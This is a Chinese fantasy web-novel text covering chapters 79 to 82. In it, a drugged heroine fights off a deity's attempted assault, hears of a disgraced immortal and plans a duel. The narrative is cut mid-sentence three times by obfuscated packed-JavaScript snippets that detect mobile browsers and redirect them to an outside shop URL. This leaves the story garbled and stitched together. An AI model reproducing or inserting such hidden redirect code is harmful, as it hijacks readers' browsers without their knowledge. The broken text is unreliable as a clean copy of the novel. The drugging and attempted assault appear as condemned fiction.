“哟,聆月使大人这是喝了什么迷魂汤?”溟牙在一旁阴阳怪气,“才多久,就被这小胖丫头迷了心窍?莫非真如传闻所说——因她与前任圣女圣司大人有几分相似,便勾起了旧情?” 宏音向来不避讳外界的揣测,答得坦然,“正是如此。有问题么?” “仙、仙使大人您也瞧见了……”图拉赶紧陪着笑,声音愈发谄媚,“是天翮不受管束啊!从前人君管着,他们便这般强硬无理。我们化西势弱,实在无力抗衡……如今既由仙帝做主,化西不敢不尊。只是这城主之位……您看,是否还有通融的余地……” 星允抬手打断了图拉的笑脸,“图拉,化西乃前线要冲,改由昆吾仙人镇守,是帝君的旨意。尔等要违逆不成?” “不敢,不敢!全听帝尊安排!” 我心中一震——化西城竟已撤换城主,改由玄珠位列的昆吾仙人镇守!这位仙人我虽了解不多,却知其骁勇善战,常年隐于秘境清修,极少涉世。 偷眼看向身旁镇定自若的宏音,我心头越发沉重,看来他这个天翮城主,恐怕也坐不久了。 “罢了。”星允的声音再度响起,听不出喜怒,“今日请二位前来本是饮酒作乐,正事暂且不提。请坐吧。” 既如此,众人也不再多言,纷纷落座。我暗暗松了口气,紧挨着宏音坐下,警惕地扫视着席间众人。 今日这场鸿门宴,不知是准备给谁下套。 歌舞声渐起,席间凝滞的气氛终于松动了几分。我也稍稍放松了肩背,正暗自舒了口气,忽觉脚腕传来一阵冰凉滑腻的触感。 低头一看,竟是溟牙那条黑脊蛇不知何时盘到了我脚边,细长的蛇信正有一下没一下地轻触着我裸露的脚踝。 “啧,这臭蛇是不是有什么怪癖?被打结打上瘾了?又难受又享受似的。”尾巴趴在我膝头,不满地探出光晕发起了牢骚,冲那蛇发出威胁的咕噜声,“快滚,照夜是我的!” “嘶~” “尾巴,它说什么?” “……这蛇说,酒。” 我皱着眉“啊?”了一声,刚想伸手去捞,那蛇却“呲溜”一下滑过地面,转眼游走了。 “窸窸窣窣,多动、坐不住,扭来扭去,片刻不得安宁。”宏音的声音在身旁淡淡响起,“坏毛病,得改。” 一听宏音又开始念叨,我头都大了——又不是我爹,偏要摆出这副爹样,真是讨厌! 见我捂住耳朵以示抗议,宏音只是无奈地轻叹,手掌却温和地抚了抚我的后脑。 此时,星允微微抬手,“诸位,这一坛醉仙酒,乃以黑雾崖所产的圣桦琼酿窖藏而成。今日特请各位共品。” 几位身姿窈窕的信女面无表情地逐一斟酒。浓烈的酒香顷刻弥漫开来,似有实质般缠绕在脖颈间,扼住了饮酒之人的呼吸。 我端起酒杯细嗅——确有圣桦琼汁独有的清冽芬芳。这琼汁产量极稀,有强身延寿之效,可谓万金难求,如今竟用来酿酒,实在奢靡。 见众人举杯尽饮,我不疑有他,也跟着抿了一小口。 下一秒,天旋地转,倒头就睡。 曾有一次,我在青莲山脚下向游商买了一坛醉仙酒,听闻此酒甘醇,纵是仙人也难抵其魅,会拜倒其绝味之下。我兴冲冲带回山上找穆青,想让他也尝尝这“拜倒”的滋味。结果他只饮了一小杯,便醉了三天三夜。此事被百目仙人的法眼窥见,一纸“饮酒作乐、纵情声色”的状告到了仙帝煌木跟前。 虽那时煌木已然闭关,未曾理会,但时任玄珠首席的渊寂仍给了穆青一道通报仙界的批评。自那以后,我再未让穆青碰过酒——尽管他本人并不在意,偶遇清甜的果酒时,仍会陪我小酌。唯独醉仙酒,成了再不敢触及的禁忌。 以我的酒量,断不可能一杯即倒。况且……我并非仙人,这酒为何能——醉倒我? 80. 第 80 章 我的意识正以前所未有的速度向下疾坠,仿佛一颗失控的流星,直直撞向沸腾的熔日核心。“咚”地一声闷响,我没入滚烫的泉涌,被那股灼热裹挟着,猛烈冲击向那颗深处散发着金色光晕的仙丹。 视野陡然穿透一片刺目的白光,我仍在坠落。整个人像是浸在了温热的酒浆里,我四肢酥软,头晕目眩,连思绪都染上了一层黏稠的琥珀色。 就在意识即将涣散时,一双手稳稳托住了我的腰际,轻柔地将我带回“地面”。 “照夜,发生何事了?” 我晕乎乎地抬起沉重的眼皮,映入眼帘的是青衣少年熟悉的容颜。胃里一阵翻涌,我忍不住干呕起来,“我、我好像……喝醉了……” “……”煌木将我轻轻安置在柔软的草地上,随即仰首望向天际。 只见原本湛蓝澄净的天空,此刻竟漂浮着一层黏腻流动的琥珀色物质,如凝脂般缓缓蠕动,散发出浓郁到令人窒息的酒气。那“云层”偶尔滴落几缕金色的液丝,触及草地便嗤地腾起细小的气泡,将周围的空气都蒸出朦胧的醉意。 梦境的一切都被这诡异的酒雾浸染了色彩,远处的山峦泛着醺醺的暖黄,溪流倒映着晃动的琥珀光斑,连风里都飘着甜腻的、令人昏沉的香气。 衣袂在微醺的风中轻轻拂动,煌木蹙眉凝视着被“醉意”污染的天空,低声道,“醉仙酒以圣桦琼汁为底,酒液随仙力流转周身,其烈性远非寻常酒酿可比。”煌木的声音透过我嗡鸣的耳畔传来,似远似近,“尤其对你这样体内仙力丰沛奔涌之人,只此一口,便足以醉倒七天七夜。” 我浑身瘫软,连坐直的力气都消散殆尽。天空在视野中疯狂旋转,仿佛一张被无形之手搅动的琥珀色涡流,晕得人神智溃散。 “啧,这么下去,你连话也说不清了。”煌木轻叹一声,俯身遮住我的眼睛,“忍一忍,我们往深处去。” 视线骤然陷入黑暗。 起初只是下坠——纯粹的、失重的坠落。耳畔风声呼啸,却渐渐染上了粘稠的质感,像是有无形的蜜糖涂抹过听觉。我的四肢开始感受到阻力,仿佛穿行在胶质的深渊里,每一次试图挣扎,都被柔软而顽固的力量牵扯、拖拽回来。 然后是热。细密的灼烧感从皮肤表层渗透进来,起初如暖流漫过,随即升温为针扎般的刺痛。那热度并不粗暴,却绵密无休,像是千万缕温酒化成的丝线,正一点点编织进我的血脉骨髓。我忍不住想蜷缩起来,却被少年稳稳按在怀中。 “快了,再坚持片刻。”煌木的手臂环得更紧了些,掌心一下下轻抚我的背脊。他的声音成了这片混沌里唯一的锚点。 坠落的速度似乎放缓了,又或许只是感知被拉长、扭曲。时间的流逝变得可疑——一瞬仿佛被掰碎成无数粘腻的片段。 有香气渗透进来。不是现实中嗅到的酒香,而是更原始、更逼近本质的“醉意”,甜得发齁,暖得发昏,带着果实熟透至糜烂前的蛊惑,又混杂着一缕清冽的、属于植物汁液的苦涩回甘。这香气有了重量,压在我的胸口,随着每一次艰难的呼吸渗入肺腑。 触觉也开始背叛我。衣料摩擦皮肤的感触被放大,变得粗糙如砂纸;煌木发丝掠过脸颊的轻痒,却如同水滴落入滚油,激起一阵战栗的涟漪。最奇异的是,我仿佛能“触摸”到坠落本身——那是一种流动的、稠密的、带着微醺体温的实体,正缓缓包裹、渗透我每一寸存在。 就在意识即将彻底融化在这片酒酿般的深渊时—— “咚。” 一声沉闷的接纳。 我坠入了水中。惊恐让我在黑暗中奋力扑腾,温热的液体涌入我喉腔,却不是溺毙的冰冷,而是另一种淹没——更柔软、更吞噬性的淹没。 就在我肺叶灼痛、四肢脱力的瞬间,更深的水域中,一只有力的手蓦然攥住我的脚踝,向下一拽。 天旋地转。 下一刻,我破水而出,重重趴在坚实的岸沿,狼狈地呛咳、喘息,却终于彻底摆脱了醉意。 许久,我才虚脱地平躺开来。煌木湿透的青丝垂落,发梢的水珠滴在我眼角,沁开一片微凉的湿润。透过朦胧的泪雾与水光,我看到他的面容在近处晃动,竟莫名显出几分……难以言喻的熟稔。 “小青……是你吗?” “很遗憾,虽我知道你此刻想见的是他。”煌木的声音温柔里带着一丝难以捉摸的悠远,“但他此刻还不是我,我也……尚未成为他。” “……什么意思?” 煌木轻轻一笑,拂开我额前湿漉漉的刘海,将我扶起,“罢了,先解了酒意再说。复杂的事,往后再慢慢说。” 头痛与眩晕已悄然退去。我撑着手臂坐直,随即被眼前的景象彻底攫住了呼吸。 这是一个无比宏伟、空旷到令人心生敬畏的洞窟。穹顶高远得仿佛支撑着另一个世界,而在那穹顶的正中央,一道巨大、纯粹、宛如实质的金色光柱,如自九天倾泻而下的阳光,悍然撕裂了洞中的幽暗,将无边的辉光铺满我的整个视野。 而在这片神迹般的光明之下,是一片浩瀚无垠的青莲之海。 莲叶田田,碧翠之色浓得几乎要滴落下来,每一片都大如扁舟,静静漂浮在清澈见底、荡漾着碎金般微光的水面上。莲叶之间,数不尽的青莲正粲然盛放。 那是一种无法以言语描摹的青色,纯净、通透,自内而外散发着柔和却无比坚定的微光。它们正随着某种韵律轻轻摇曳,如同沉睡巨人安稳的呼吸。 更让人心神俱震的,是我看见了“尾巴”——不,是无数类似尾巴的、由纯粹仙力凝结而成的光团。 它们仿佛拥有独立的生命,大小不一,周身流转着淡淡的月白与浅金色光晕。它们时而轻盈地掠过巨大的莲叶,时而在层层叠叠的花瓣间追逐嬉戏,时而聚拢盘旋,化作一小片流转的星璇,时而又调皮地撞入那通天彻地的光柱之中,溅起一圈圈绚丽的光之涟漪。 “这……这是哪里?” 煌木在我身侧轻笑,声音里带着了然的笑意,“我以为,谜底已经足够明显了。照夜,这里,就是青莲种在你身体最深处的那一粒粒——莲子。” “……啊?不是说,只种了一颗吗?怎么,怎么长了这么大一片莲花?” “哈哈哈,”少年狡黠地眨眨眼,“大概是怕说多了数目,你会不高兴吧。这些莲子被安然包裹在仙丹的最深处,最隐秘,也最安全。同时——也离你□□的感知最为遥远。” 我揉着额角,气恼地捶了一下地面,“可恶!星允那个混账,灌醉我到底想干什么!” “神智一旦被麻痹,抽取仙力便会容易得多。”煌木的语气严肃了些,“所以,你最好尽快醒来。” 我猛然醒悟,脸色瞬间煞白,“糟了!星允那混蛋是想趁机与我‘共鸣’!我得赶紧回去找他算账!” 就在这时,一个小小的光团蹦跳着落在我的膝盖上,挥舞着它那朦胧胧胧的“小拳头”,似乎急切地想表达什么。 煌木笑道,“它的意思是,跟它走。” 话音刚落,无数光团便从莲叶间、花蕊中纷纷涌来,它们簇拥在我身边,竟将我轻轻托举起来。只见它们扭动着圆润可爱的“身体”,带着我朝那束通天光柱之下移动。 煌木含笑跟在一旁,眉眼弯成了温柔的月牙,“这些仙力会将你的意识送返。不过……外面那一团仙力,此刻恐怕也醉得不轻。你须得多加小心。” “啊?你是说尾巴?” 我的身躯开始被金色的光点温柔地包裹、消解,化作无数轻盈的光粒。这感觉奇异无比,暖洋洋、痒丝丝的,如同浸泡在最和煦的春水里。 “是啊,原本是他淘气,偷偷藏在梦境表层窥探,才意外被你‘拽’了出去,成了形。否则,他本该也在这里,静静地等待着……” 意识即将彻底消散的最后一瞬,我仿佛听到自己的声音在问: “等待……什么?” 光影朦胧中,少年立于无边莲海之间,依旧含笑望着我,如同他身畔那些沐浴着永恒之光、静谧摇曳的青莲。 他的回答,随着光粒的飞散,轻轻落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549546|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入我最后的感知里: “等待……残片重新拼合为一的那一天。” 朦胧中,耳边的对话逐渐清晰起来。 “大师兄,师父对她颇为在意,也曾明令只可远观、不可近触……还是别违逆师命为好。” “哈哈,溟牙,你也太守规矩了。”星允的声音里带着惯有的轻慢,“正因如此,师弟师妹们总说你——缺了身为上仙该有的气魄。” 一只手掌不轻不重地按在了我的胸口,带着试探的意味。我拼力挣扎,试图睁开沉重的眼皮。 “……抽取仙力而已,似乎不必如此吧,大师兄。” “你懂什么?”星允的嗤笑近在耳畔,“女人么,只要在床上服了软,往后自然就会低头。啧,虽不是合我口味的类型……姑且一试。好在长得还算能入眼。出去吧溟牙,你在这儿有些碍事了。” “师兄,还是——” “溟牙!滚出去——!” “咚”的一声闷响炸开! 我骤然惊醒,视野尚未清晰,率先映入眼帘的是几缕银白色的长发散落在我胸前。一只苍白修长的手,正不偏不倚地覆在我胸口。 我猛地扭头,只见溟牙被一股巨力掼在墙上,正捂着胸口呛咳,唇边渗出一缕血丝。 怒火“轰”地窜上头顶!我想也不想,攥紧拳头,在星允闻声侧头的刹那,用尽全身力气,将裹着暗红微光的拳头狠狠砸在他的鼻梁上! “砰!” 星允被打得向后仰倒,鼻血顿时涌了出来。我趁势滚下床榻,脚下一阵虚浮,头仍晕得厉害。下意识看向自己的拳头——一层深红色的晶盾正缓缓褪去,指骨毫发无伤。 溟牙挨了星允一击,本还蜷在地上喘息,此刻却猛地撑起身,紧紧贴住墙壁,双眼惊骇地瞪着我脚下——那里,黏稠的仙力正不受控制地弥漫开来,泛着不祥的暗红光泽。 我晃了晃挂在腰间的青莲瓶。尾巴醉得一塌糊涂,正软趴趴地吐着光晕凝成的泡泡,发出含糊的“呕……呕……”声,一副不省人事的模样。 啥也不是,竟醉成这样。 看来这“醉仙酒”的“仙”字,指的是仙力,而非仙人。 可恶,到底是谁酿出这种东西?简直是所有修仙之人的克星! “照、照夜——!” 门外骤然响起激烈的撞门声,混杂着仙军的呵斥与阻拦。宏音的声音穿透嘈杂,急促地唤着我的名字,听上去竟也带着醉意。 星允似乎被我那一拳打懵了,僵在地上,死死瞪着我却不敢妄动——我周身翻涌的仙力浓度高得骇人,他若此时攻击我,只怕瞬间就会被吸干。 不过星允想多了。这种丑陋、肮脏的仙力,白送我都不要! 我骑跨在他腰间,一手摁住他赤裸的胸膛,用体重优势牢牢压住身下不如我“壮硕”的男人。 我捏了捏拳头,感受着力量回涌。那层红色晶盾再次悄然覆上指节,像是在默默给予支撑。 “砰——!” 门被硬生生撞开的巨响。 宏音闯进来时,看到的便是这样一幅诡异的景象: 最远处的墙边,溟牙与他的黑脊蛇紧紧贴在一起,僵如石雕;星允近乎□□地躺倒在地,眼眶、鼻梁、嘴角一片青紫红肿,血迹斑斑;而我,同样衣衫不整,正因右拳发酸而活动着手腕,准备换左拳继续。 至于最没参与感的尾巴,大醉酩酊,瘫在地上,像一滩融化的、发着微光的浆糊。 挣脱了同样看呆的仙军,宏音抓起散落的衣裳,脚步微踉却急切地向我奔来,一把将我裹进衣物里。他眼底翻涌着几乎压不住的杀意,声音却克制得发冷,“星允上仙,多谢款待。照夜不胜酒力,醉后失态,多有得罪。告辞。” “等等——”我挣了挣胳膊,转身朝墙边的溟牙走去,“还没完呢。” 溟牙屏住呼吸,小心翼翼地将脸偏开,避免与我对视。我俯身捞起他脚边那条僵直的黑脊蛇,利落地打了个死结。 “下次,把话说全说清楚——臭毒牙!” 81. 第 81 章 暴雨如注,势如瓢泼,天幕像是裂了个大缝,尘雨密织的黑线,像是要将天地万物都切割、碾碎。 郊外,空旷处,宏音已在暴雨中淋了整整一个时辰,试图借着冰冷雨水快速醒酒。我倒还好,受害最深的反倒是纯粹的仙质之体——尾巴。我索性把他也丢在雨里,让他清醒清醒。 这回着实着了星允的道。不知他从哪儿弄来一坛以圣桦琼汁为基底特酿的“加强版”醉仙酒,只一杯,几乎就让尾巴和宏音醉得不省人事。 其目的之卑劣,令人发指——他想灌醉我,通过与我这样那样实现共鸣,以抽取我体内的仙力。 可惜星允这混账失算了。我和我体内的仙力,不过是关系亲密且复杂的“室友”罢了,并非浑然一体。 尾巴醉酒,关我照夜什么事?我区区凡人之躯,酒量好得很。 话说回来,这强化过的醉仙酒对仙人杀伤力如此之大,倒是很适合大铁棘……下次见面得提醒他一声。 “如何,好些了么?”宏音浑身湿透,模样有些狼狈,但眼神已恢复了清明。 “我没事。但尾巴醉了,估计得睡上好几天。” 宏音抬手轻抚我的脸颊,叹了口气,“睚眦必报这一点……也像极了棠梨。” “呃,还没完了是吧!你是不是也想挨我一铁拳?” 握住我示威的拳头,宏音竟低低笑了,“孔武有力,真吓人。” 不知怎的,这件事传来传去,最后到了大铁棘和无悔耳中,竟变成了:照夜酒醉,徒手将玄珠位阶第一的星允上仙揍成了猪头。 我趴在窗前,望着连绵数日的雨幕,听着无悔和大铁棘在耳边叽叽喳喳,有些心烦。 桃夭医馆依旧人满为患。一位衣着华贵的贵妇正向桃夭诉苦,自家夫君自打绛霞仙人参赛后,就像被勾了魂,成日痴迷打榜,口口声声“只爱仙子一人”,茶饭不思,连房事也拒了,声称“不能背叛仙子”。 若非瞧见这妇人十指贴满了昂贵的霓影贝,桃夭恐怕早没耐心听她絮叨半个时辰。末了,她反问那妇人可曾为别的仙人打榜? 我忍不住竖起耳朵——好家伙,这贵妇人竟是赤羽仙人的狂热拥护者,这些年砸在赤羽身上的钱财早已不计其数。 于是“神医”桃夭淡然开方:夫妻二人,大哥莫说二哥,回家相安无事便好。 那贵妇恍然顿悟,仿佛终于理解了夫君的狂热,连连称赞桃夭医术高明,爽快付了高昂的插队诊金,欢天喜地离去。 真是离谱得叫人无力吐槽。 “你实在太危险了,一言不合逮着人就吸,比话本里那些吸人精魄的女鬼还吓人。”无悔见我走神,摇了摇我的胳膊,继续抱怨,“再这样下去,小心被仙界通缉。到时候铺天盖地的仙人来讨伐你,看你往哪儿躲。” 我黑着脸嘟囔,“干嘛啦!我本来只是无聊出门逛逛,被你们一左一右拐到这儿,还以为有什么要紧事商量,结果却当着我面说起了我的流言蜚语。” 大铁棘语重心长地接话,“无悔兄弟说得在理,你还是多长个心眼为好。小心落得个‘玄牝仙人’的下场。” 玄牝?这仙名我还真没听过。 桃夭凑近了些,接过话头讲起了那邪仙玄牝的往事。 那大约是八十多年前——在我和穆青还未出生的年代。一位自称“玄牝”的仙人被朱砂笔从仙人名录中狠狠划去,成了仙界一段不愿提及的耻辱。 此人成仙时自号“玄牝”,语出“玄牝之门,是谓天地根”。他习得一门诡谲仙法——阴阳夺舍床术。 此法不行采补那等粗劣之道,而是在床笫之欢极致的灵欲交融间,悄然汲取对方仙力,并以自身仙力反哺填补。故而受害者并非被“吸干”,而是在持续不断的“交融”中,被悄然“覆盖”与“替换”,渐渐沦为玄牝的一部分,如同泥土滋养奇花,自身却慢慢归于虚无。 更可怕的是,此人男女通吃。无论是清修女仙还是纯阳男仙,皆是他眼中上佳的“资粮”。 仙界起初并未重视,直到十数位修为不俗的仙人相继拜倒其□□,事态才骤然严峻。那些慕名前来讨教仙法的仙人,后来被发现时皆懵懂如行尸走肉,只会喃喃重复玄牝所授的扭曲道韵。更甚者,他们往日所精通的仙法,竟皆被染指,化作了与床术相关的不堪之术。 此桩丑闻震动三界。三鸿珠仙遂颁下“玄牝追捕讨伐令”,号召众仙共诛此邪。 玄牝虽强,其“万化床帏”之法虽能令人沉溺虚实、尽享欢愉,却终究只是幻术。除了能给自视甚高的仙人带来一些耻辱感外,杀伤力倒不算至强。于是玄牝很快被剿灭,形神俱散,仿佛从未存在。 我听得入迷,连声催促桃夭继续讲下去。她翻了个白眼,瞥我道,“没了。这是仙界的耻辱,所有相关人与记录——都被抹得干干净净。” “哈哈哈,仙人啊,总是自诩境界高于凡人魔族,对自身那点欲望遮遮掩掩,仿佛是什么天大的丑事。”无悔神秘兮兮地凑到我耳边,“听说玄牝死后,有人将其毕生所研床术编成了一本《玉房秘戏考》。虽是仙界禁书,却在人魔两界暗中刊印了无数版,抢手得很呢。” “啊?我、我怎么没看过——” 见我顿时脸红到耳根,大铁棘这五大三粗、看似只知修行的汉子却坦然得很,“得得得,差不多行了。照夜还是个孩子,别跟她说这些。要是让宏音知道了,非扒了咱们的皮不可。” “也对,那位大人——”无悔搓了搓胳膊,望向窗外连绵的雨,低声嘀咕,“有点变态。” 桃夭二话不说就把我们三个“闲人”给打发了。于是我莫名其妙被拐来,听了个了不得的故事,又莫名其妙被赶走。 回去的路上,因好奇心作祟,我绕道去了藏书馆。支支吾吾、满脸通红地比划了半天,管理员却一副司空见惯的模样,随手给我指了个方向,还不忘叮嘱:看可以,别弄出不该有的动静——不然可是要上黑名单的! 我连忙做贼似的挪到那排陈列着上千本“不正经”书籍的书架前,在角落处,果真找到了一本装帧古朴的《玉房秘戏考》。 这里盘踞的读者虽多,好在各忙各的,无人留意我。我便寻了个角落,翻开了这本仙界禁书。 有些出乎意料,这本书看起来竟相当“正经”。它仅仅记录了玄牝仙人在得道飞升前,作为凡人所窥探、研习乃至创造的阴阳调和之术。内容虽涉及床帏秘戏,但文笔精炼近于考据,详述气血运行、心神交融之法,辅以大量经络图示,俨然一部严肃的“房中养生”古籍。 读到一半,我才恍然为何人魔两界并不禁传此书——正因它剥离了所有仙家神通,仅余下最原始的“人之术”,对修行者并无直接害处。反而因其对人性深刻的洞察与精妙的剖析,若纯以学术眼光看待,倒颇有可资借鉴之处。 “□□”一事,本非什么滔天大罪,魔族在这点上更是通透得过了头,这书在他们那儿恐怕只能算启蒙读物。想来仙界禁刊此书,大抵只是觉得玄牝此人——太丢仙界颜面罢了。 “喂,你好歹也算仙民,看这些……不太妥当吧。” 我冷不丁被这声音吓了一跳。 只见溟牙不知何时已立在身旁,那双蛇瞳似已窥视我良久。 “关你什么事?”我强作镇定,“我,我学得杂,只是研究一下。” 溟牙袖中那条黑脊蛇胆子似乎大了些,竟悄悄探出,将冰凉的身子搭在我肩上,发出细微的“嘶嘶”声。我瞥了眼怀中的青莲瓶——尾巴依旧醉成一滩烂泥,尚未苏醒,不然倒能听听这蛇又在“说”些什么。 “小心些。”溟牙的声音压得很低,“星允放话要取你性命,特地让我来‘警告’你。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549547|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那请你回去告诉他——”我咬牙道,“我也一样!真是下作透了。” 溟牙随手翻了翻《玉房秘戏考》,眼中掠过一丝嫌恶,“都一样肮脏。怎有脸写成书,还堂而皇之摆在这里。” “……”我跟着溟牙悄然离开藏书馆,忍不住问道,“你好像对这种事……格外厌恶。说来之前你隐瞒牡狸一事,也不全然是因为那个原因吧?” “只是恨那些蠢女人有眼无珠罢了。” “那你为何不骂飞逍那种卑鄙无耻的男人!” 溟牙脚步忽顿,警惕地环顾四周,继而抬眼望向空中密布的乌云,低语道,“哼,百目仙人总算遇上对手了。只要是雨天,她的法眼就逃不过宏音的标记与诛杀。也好……没了那讨厌的家伙偷窥,倒自在不少。” 我心头一震——这才反应过来,原来宏音一到雨天便隐于云中,是在借雨滴搜寻、清除百目仙人的法眼。那个无处不在的“眼睛”,确实令人毛骨悚然。 “那些女人一开始,哪个不是自愿委身于他?”溟牙的语气里渗出一丝不甘与自嘲,但这情绪藏得太深,隐在冰冷的蛇瞳之后,难以捕捉,“啧,愚不可及,龌龊至极。” “有些人,若不深入接触,又怎知其真面目。也不能苛求人人都生就一双慧眼,对吧?” “不知与你说这些作甚。”溟牙移开视线,声音恢复了平板的冷调,“自己警醒些。星允向来厌恶青莲,如今又被你揍破了相,必会伺机报复。哼——你好自为之。” 说罢,溟牙便快步离开了。我望着他隐入雨幕的背影,略一思忖,又折返医馆找到了大铁棘和无悔。 “你是说——要在圣女决赛前,向星允下战书?”无悔听罢,伸手敲了敲我的脑门,难以置信道,“那可是星允!强得离谱,你当真要挑战他?” “照夜,这机会让给我!”大铁棘霍然起身,眼中燃着灼灼火光,“我要替阿姐报仇!” 我用力拍拍大铁棘的肩膀,重重点头,“就在等你这句话。我倒有个计划,或许可以一试——” 傍晚时分,大雨依旧没有停歇的迹象,空气里弥漫着刺骨的湿寒。我、无悔与大铁棘三人悄然从北面城墙潜行而出——依旧没有惊动任何一名天翮军或巡逻仙军。 北边因靠近化西地界,人烟稀少,又有丘陵掩映,隐蔽行踪还算便利。我们三人寻了一处干燥的山洞,围着跃动的篝火,开始商议对付星允的计策。 得益于仙界那“口碑榜”的存在,许多上仙为拉票打榜,会将自己的绝技公之于众以彰显实力。星允便是其中之一。 星允,玄珠位阶首席,其仙法“万星归尘”据说有毁天灭地之威,极其可怖——当然,我尚未亲眼见过。不过无悔对此却了如指掌,毕竟他与桃夭立志向渊寂复仇,自然会对其麾下大将做详尽研究。 据闻,星允的“万星归尘”所驱使的并非星辰实体,而是将高度浓缩的仙力与精炼糖质融合,凝聚成温度极高、处于熔融状态的“仙力糖稀”。 这种高浓度糖稀虽有个甜美的名字,却极端棘手。 首先,糖稀温度极高,且兼具极强的附着性与穿透力,一旦接触肌肤造成创口,便会如附骨之疽般死死黏附。 凡被此糖稀覆盖,创面便会迅速溃烂、萎缩、坏死。纵有仙法医治,也需耗费极大心力与极高专注,才能将这糖液与血肉神经彻底剥离。否则,便只能将粘连的皮肉生生刮去——又是另一重折磨。 “所以说,星允的打击范围极大,且手段阴毒。”无悔摇头叹息,“不仅如此,他还能精细操控这些糖稀的攻击频率与覆盖范围。除非速度与精准度都达到极致,突破那层‘万星之雨’,否则最终要面对的,仍是他周身那层密不透风的——糖稀盔甲。” “啧,攻防一体,难缠得很。”大铁棘叹了口气,“若是一对一,真不知该如何破局。” 82. 第 82 章 我抱臂沉思片刻,目光落在大铁棘腰间那只硕大的酒葫芦上,缓缓开口,“我倒有个法子,你们听听看有几分胜算。” 糖稀虽可怕,却有个致命弱点,它畏惧高温。 没错,但凡下过厨的人都明白,糖这东西,只要温度够高,便会迅速碳化。 大铁棘的“醉仙酒火”本就是以酒雾覆盖、继而引爆灼伤对手,若能进一步提升火焰烈度,或可将那漫天“星辰”烧作焦炭。 “……照此说来,确实可行!”无悔听完我的构想,沉吟片刻,却又蹙眉,“不过,铁棘兄的酒焰……恐怕未必能达到所需的高温。” 我冷哼一声,眼底闪过一抹锐光,“恰好,我最近刚被一种‘烈酒’摆了一道——也该让这位鼎鼎大名的星允大将,亲自尝尝这‘醉仙酒’的滋味了!” 没错,以圣桦琼汁为基底的烈酒,能将酒精浓度压缩到极致。这样的酒一旦汽化燃烧,必然产生足以碳化糖稀的恐怖高温。更妙的是,这酒能随仙力附着,牢牢锁住那些裹着仙力外壳的“糖稀星辰”! “现在问题来了——上哪儿弄这种酒?” 无悔闭目沉思片刻,正色回我道,“我一向讨厌去那种地方……但为了兄弟,走一趟吧。” 大铁棘一惊,握住无悔的肩膀,“你……你要去钱爷的‘月兔三十六窟’?谨慎呐!钱太多可对你一直存着非分之想——” 我惊得下巴都快掉下来——钱太多对无悔……有非分之想?! “咳咳,这种事倒不必说出来。”无悔一把将我拽起,“大铁棘,你趁这段时间好好修炼。我和照夜去钱太多的魔窟走一趟,把那‘加强版醉仙酒’弄回来。然后——就给渊寂的狗腿子星允大将,下一封战书!” 我刚和无悔翻过城墙落地,便撞见了黑着脸来逮人的宏音。我尴尬地拍拍屁股上的泥巴,把脏手藏到身后。 不知怎的,相处这些日子,我竟真有些怕了宏音的管束。下雨天弄脏衣裤不是常事么?他却总爱训我。换作我阿爹,才不会怪我弄脏衣服——阿爹只会教我等泥点干了再抠下来,省得费力多洗一次衣裳。 看,我就说阿爹有大智慧。 “哟,城主大人半夜不睡觉,来墙根下散步赏雨呢?”无悔挑眉道。 “无悔,我叮嘱过你,别带照夜偷溜出城。”宏音声音沉静,却带着不容置疑的力道,“她如今是仙界眼中的‘有罪之身’。” “好好好,记住了,尊贵的聆月使大人。”无悔临走前还不忘讽刺一句,“我看呐,该不会是照夜的出现,又勾起您当爹的嗜好了吧?小胖妞,等我消息。” 待无悔溜走,我坐上马车,也忍不住打趣宏音,“你这什么爱好啊,喜欢当人爹爹的感觉?” 宏音黑着脸,用棉帕擦去我脸上的泥点,“嗯,是喜欢。还喜欢教训不听话的小孩。” “……怎么教训?” “打屁股,打到求饶为止。” 好死不死的,我忽然想起今天在《玉房秘戏考》里读到的一章——正是关于“打屁股”这等床笫间的小乐趣。 可恶!那个玄牝仙人研究的都是些什么东西?为什么打屁股会……有快感? “脸红得像偷看了什么不该看的秘密,照夜。”宏音眼角掠过一丝若有似无的戏谑,“少看些少儿不宜的书。” 真是可恶……藏书馆里一定有宏音的眼线!我每天看了什么,他全都知道。 “我都五十多岁了,早就不是小孩了。” “在修仙之人眼里,你还是个顽劣又叛逆的小孩子。” 晚上临睡前,宏音坚持要“哄”我睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549548|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。理由是尾巴还醉着,我没法躲在被子里和尾巴说悄悄话,睡前便少了一道“交心讲故事”的程序。 真是够了。穆青都没这样哄过我睡觉。活到五十多岁,突然被人当成小孩儿来哄,这感觉……别说,还真有股隐隐的、说不清道不明的快意。 谁会不喜欢被人宠爱呢? 虽然我心里明白,眼前这个冷面又藏着温柔的男人,不过是在我身上,寻找着棠梨的影子。 “棠梨出嫁时……多大了?” 